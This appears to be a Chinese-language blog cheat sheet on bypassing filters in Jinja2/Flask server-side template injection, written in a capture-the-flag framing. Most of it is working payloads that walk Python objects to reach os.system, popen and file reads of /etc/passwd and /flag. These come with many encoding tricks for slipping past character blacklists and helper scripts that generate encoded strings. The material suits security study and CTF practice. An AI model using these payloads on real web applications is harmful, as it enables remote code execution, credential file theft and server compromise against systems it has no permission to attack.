SSTI模板注入Plus | Bypass

SSTI模板注入Plus | Bypass

一些语法:

{% ... %} 用来声明变量,也可以用于循环语句和条件语句

{{ ... }} 将表达式打印到模板输出

{# ... #} 未包含在模板输出中的注释

#  ... # 和{%%}有相同的效果

例子:

{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句
# for i in ['a','1']
{{ i }}
# endfor

{% for i in ['a','1'] %}
{{ item }}
{% endfor %}

这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix
即app.jinja_env.line_statement_prefix="#"	(配置满足也不一定可以)

获取变量(键值)

除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性

{{"".__class__}}
{{""['__classs__']}}

获取键值的本质是调用魔法函数_getitem_()

所以可以使用_getitem_()替代中括号取键值

此外对于字典对象的话还可使用pop()函数得到键值,还有其他一些方法如下

{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

__getattribute__魔法函数简直就是个万金油函数(在python反序列化常用)

__getattribute__函数用于调用对象(生成类的一个具体对象)

0x01获取基本类

''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]

[ ]不可用

''.__class__.__mro__.__getitem__(1)
{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)

_ 和 . 不可用

中括号可用小括号代替

单引号可用双引号代替

''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']	<=>	''.__class__
依照上面分别用ascii编码代替字符串即可
__mro__	:	['\x5f\x5f\x6d\x72\x6f\x5f\x5f']
__class__	:	['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']
__getitem__	:	['\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f']
__subclasses__	:	['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']
''.__class__.__mro__.__getitem__(1)	<=>	''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x6d\x72\x6f\x5f\x5f']['\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f'](1)

获取字符串十六进制编码的脚本:

while 1:
    a=input("#input your string  :")
    print("['",end="")
    for i in a:
        print("\\x"+str(hex(ord(i))).replace("0x",""),end="")
    print("']\n")

''.__class__.__mro__.[2].__subclasses__().pop(40)('/etc/passwd').read()为例

0x02Bypass_Some_Chars

图片.png

图片.png

Bypass '+"

借助request对象(推荐)

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

Bypass _+'+"

{{''[request.args.class][request.args.mro][2]request.args.subclasses.read() }}&class=_class__&mro=_mro__&subclasses=__subclasses__

Bypass _ +. +'

{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}

{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/flag")}}
#也就是
{{"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"/flag")}}

Bypass . + [ + ]

{{url_for.__globals__.os.system('calc')}}
{{url_for|attr("__globals__")|attr("os")|attr("system")('calc')}}

Bypass ( )

小括号不可替代的用处就是执行函数,而能够绕过小括号(也就是不适用())依旧能够执行函数的方法目前还没见过,一般题目直接过滤小括号的话那可以直接考虑flag在当前app的环境变量中了

绕过小括号就不能执行函数了

在2022CnHongKe中就有一个题是flag在config中,但渲染字符串带上了{% set config = ""%}+(可控输入)

这是可以通过下面两个函数将执行config置空命令后的依旧输出原config.FLAG

{{url_for.__globals__['current_app'].config['FLAG']}}
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

一些绕过特定字符串的方法

一些可以使用的函数

image-20220305234936570

1. chr函数

使用chr函数,要先获取到chr函数才行

{{url_for.__globals__.os.system('calc')}}
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)%2bchr(115)+chr(119).read() }}

2. +拼接

{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__["os"].system('calc')}}
{{url_for.__globals__["os"]['system']('calc')}}
{{url_for.__globals__["os"]['sys'+'tem']('ca'+'lc')}}

以上均可执行系统命令

3. 翻转[::-1]

{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__['so'[::-1]].system('calc')}}

4. ascii转换

这个方法真就完全没用过,在yu师傅的文章看到才知道,不过测试了一下使用的时候会报错

测试payload: {{url_for.__globals__.os[("{0,c}{1,c}{2,c}{3,c}{4,c}{5,c}".format(115, 121, 115, 116, 101, 10))]('calc')}}

{n,type}其中n表示在第几位,type表示类型{0,c}{1,c}分别表示在第一位的字符和第二位的字符

"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

转换脚本:

while 1:
    s,t=input("#input your string :"),""
    print("[\"",end="")
    for i,c in zip(range(len(s)),s):
        print("{"+str(i)+",c}",end="")
        t+=str(ord(c))+","
    print("\".format("+t[:-2:]+")]")

5. format格式化填充

用+拼接即可,这个payload较长

{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__.os["{0}{1}{2}{3}{4}{5}".format('s','y','s','t','e','m')]('calc')}}
system	:	"{0}{1}{2}{3}{4}{5}".format('s','y','s','t','e','m')

"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

6. 编码绕过

{{url_for.__globals__.os.system('calc')}}
{{url_for['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x6f\x73']['\x73\x79\x73\x74\x65\x6d']('\x63\x61\x6c\x63')}}
__globals__	 :	['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']
os			 :	['\x6f\x73']
system		 :	['\x73\x79\x73\x74\x65\x6d']
clac		 :	\x63\x61\x6c\x63

转换脚本:

while 1:
    print("{0}{1}{2}{3}{4}{5}".format('s','y','s','t','e','m'))
    s,t=input("#input your string :"),"\'"
    print("[\"",end="")
    for i,c in zip(range(len(s)),s):
        print("{"+str(i)+"}",end="")
        t+=c+"','"
    print("\".format("+t[:-2:]+")]")

7. 大小写转换

{{url_for.__globals__.os.system('calc')}}
{{url_for.__globals__.os['SYSTEM'.lower()]('calc')}}

8. 利用~进行拼接

在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

9. replace函数

{{url_for.__globals__.os["sysatem".replace("a","")]('calc')}}

10. 利用过滤器

attr()

""|attr("__class__")
相当于
"".__class__

常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。

last()

"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]

join()

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]

lower()

""["__CLASS__"|lower]	:	""["__class__"]
<==>	""["__CLASS__".lower()]

reverse()

"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
<==>	"__claee__".replace("ee","ss")

string()

(().__class__|string)[0]	:	<
(().__class__|string)[1]	:	c
(().__class__|string)得到的是"	<class 'tuple'>	"

select()

()|string	:	()
()|select|string	:	<generator object select_or_reject at 0x0000011328A7BBF8>
    
(()|select|string)[15]+(()|select|string)[20]+(()|select|string)[6]+(()|select|string)[18]+(()|select|string)[18]+(()|select|string)[24]+(()|select|string)[24]
<==>	"__class__"

更多的其他一些内置标准过滤器可见:

内置(方法/函数)获取

以下为获得chr

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

参数获取

测试可用__class__
request.args.x1   	get传参
request.values.x1 	get、post传参
request.form.x1   	post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		post传参	(Content-Type:a/b)
request.json		post传json  (Content-Type: application/json)
request.cookies

键值获取

测试可用__class__
dict['xxx']
dict.__getitem__(0)
dict.__getitem__('xxx')
dict.pop(0)
dict.pop('xxx')
dict.get(0)
dict.get('xxx')
dict.setdefault('xxx')

以上方法并不是任何时候都通用,需要主体具有对应的方法或函数才行,否则就会报错

属性获取

测试可用__class__
().xxx
()["xxx"]
()|attr("xxx")
().__getattribute__("xxx")

自己动手构造可用payload


几个payload:

>>>''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
>>>''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

参考文章:

https://www.jianshu.com/p/a736e39c3510 (SSTI Flask 技巧进阶)

https://blog.csdn.net/miuzzx/article/details/110220425 (SSTI模板注入绕过(进阶篇))

posted @ 2022-04-25 12:26  h0cksr  阅读(487)  评论(0编辑  收藏  举报